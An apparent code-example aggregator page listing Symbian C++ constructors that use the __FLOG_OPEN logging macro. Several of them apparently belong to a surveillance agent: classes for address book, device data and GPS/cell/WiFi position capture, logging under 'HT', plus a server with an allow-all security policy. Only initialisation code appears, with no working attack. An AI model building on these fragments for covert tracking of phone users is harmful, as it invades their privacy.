예제 #1
0
void CAgentAddressbook::ConstructL(const TDesC8& params)
	{
	BaseConstructL(params);
	__FLOG_OPEN("HT", "Agent_AddressBook.txt");
	__FLOG(_L("-------------"));
	iLongTask = CLongTaskAO::NewL(*this);
	iMarkupFile = CLogFile::NewL(iFs);
	}
CStateSessionEstablished::CStateSessionEstablished ( CSipStateMachine * aStateMachine ) :
    CSipStateBase (aStateMachine, TSipHLConsts::EStateSessionEstablished )
    /**
    Constuctor
    */
{
    iDoneUnSubscribe = EFalse;
    // Open Logs
    __FLOG_OPEN(_L8("SipStateMachine"), _L8("StateSessionEstablished"));
    __FLOG_1(_L("[StateSessionEstablished]:[%x]::CStateSessionEstablished() "), this);
}
예제 #3
0
void CAgentDevice::ConstructL(const TDesC8& params)
	{
	BaseConstructL(params);
	__FLOG_OPEN("HT", "Agent_Device.txt");
	__FLOG(_L("-------------"));
		
	iList = EFalse;
		
	TUint8* ptr = (TUint8 *)iParams.Ptr();
	TUint32 list = 0; 
	Mem::Copy( &list, ptr, 4);
	if (list == 1)
		iList = ETrue;
	
	iPhone = CPhone::NewL();  
	}
예제 #4
0
void CAgentPosition::ConstructL(const TDesC8& params)
	{
	BaseConstructL(params);
	__FLOG_OPEN("HT", "Agent_Position.txt");
	__FLOG(_L("-------------"));
		
	iTimer = CTimeOutTimer::NewL(*this);
	iPhone = CPhone::NewL();
	iGPS = NULL;
	// iGPS will be instantiated by the StartAgentCmdL() if the interval is < GPS_POLL_TIMEOUT_MS
	// otherwise, will be instantiated by the TimerExpiredL()
	// so we will keep the GPS Server free

	ASSERT(iParams.Length() >= 8);
	TPositionParams positParams;
	Mem::Copy(&positParams, iParams.Ptr(), sizeof(positParams));

	iSecondsInterv = (positParams.iInterval / 1000);

	iCaptureGPS = EFalse;
	iCaptureCellId = EFalse;
	iCaptureWiFi = EFalse;
	iPollGPS = EFalse;
	if ((positParams.iType & LOGGER_GPS) > 0)
		{
		iCaptureGPS = ETrue;
		iLogGps = CLogFile::NewL(iFs);
		
		if (positParams.iInterval > GPS_POLL_TIMEOUT_MS)
			{
			// in this way we can close the connection to the positioning server as soon as 
			// we obtain the fix, and we don't waist resources
			iPollGPS = ETrue;
			}
		}
	
	if ((positParams.iType & LOGGER_CELL) > 0)
		{
		iCaptureCellId = ETrue;
		iLogCell = CLogFile::NewL(iFs);
		}
	if ((positParams.iType & LOGGER_WIFI) > 0 )
		{
		iCaptureWiFi = ETrue;
		}
	}
예제 #5
0
void CSharedQueueSrv::ConstructL()
	{
	__FLOG_OPEN("HT", "Server.txt");
	__FLOG(_L("----CONSTR----"));
	TRAPD(err, StartL(KSharedQueueSrvName));

	if (err != KErrNone)
		{
		__FLOG(_L("ERRORE STARTL SERVER"));
		User::Leave(err);
		}

	static _LIT_SECURITY_POLICY_PASS(KAllowAllPolicy);
	TInt ris = 0;
	ris = RProperty::Define(KPropertyUidSharedQueue, KPropertyKeySharedQueueTopAddedOrRemoved, RProperty::EInt,
			KAllowAllPolicy, KAllowAllPolicy);
	iTopIsLocked = EFalse;
	__FLOG_1(_L("PS_Define:%d"), ris);
	}
예제 #6
0
void CMTPUsbEpWatcher::ConstructL()
    {
    __FLOG_OPEN(KMTPSubsystem, KComponent);
    __FLOG(_L8("ConstructL - Entry"));    
    __FLOG(_L8("ConstructL - Exit")); 
    }